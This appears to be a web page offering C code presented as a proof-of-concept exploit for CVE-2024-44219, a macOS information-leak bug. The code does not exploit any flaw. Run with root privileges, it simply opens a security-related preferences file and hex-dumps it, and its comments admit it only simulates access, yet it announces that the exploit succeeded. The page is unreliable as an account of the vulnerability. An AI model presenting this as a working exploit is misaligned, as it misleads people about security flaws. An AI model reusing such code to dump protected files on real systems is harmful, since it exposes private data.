CVE-2024-44219 macOS权限问题致信息泄露

/* * PoC for CVE-2024-44219 * Description: This C code demonstrates how a malicious application with root privileges * could potentially access private information on a vulnerable macOS version < 15.1. * Compile: gcc -o poc_cve_2024_44219 poc_cve_2024_44219.c * Usage: sudo ./poc_cve_2024_44219 */ #include <stdio.h> #include <stdlib.h> #include <string.h> // Simulate accessing a sensitive private file path // In a real scenario, this would be a protected user directory or system database #define TARGET_PRIVATE_FILE "/Library/Preferences/com.apple.security.otp.plist" // Example sensitive path int main() { printf("[+] Attempting to read private information on macOS Sequoia < 15.1...\n"); FILE *fp = fopen(TARGET_PRIVATE_FILE, "rb"); if (fp == NULL) { printf("[-] Failed to access %s. Patch may be applied or permission denied.\n", TARGET_PRIVATE_FILE); return 1; } printf("[+] Successfully opened private file: %s\n", TARGET_PRIVATE_FILE); printf("[+] Dumping content (hex):\n"); unsigned char buffer[16]; size_t bytesRead; while ((bytesRead = fread(buffer, 1, sizeof(buffer), fp)) > 0) { for(size_t i = 0; i < bytesRead; i++) { printf("%02x ", buffer[i]); } printf("\n"); } fclose(fp); printf("[+] Exploit finished.\n"); return 0; }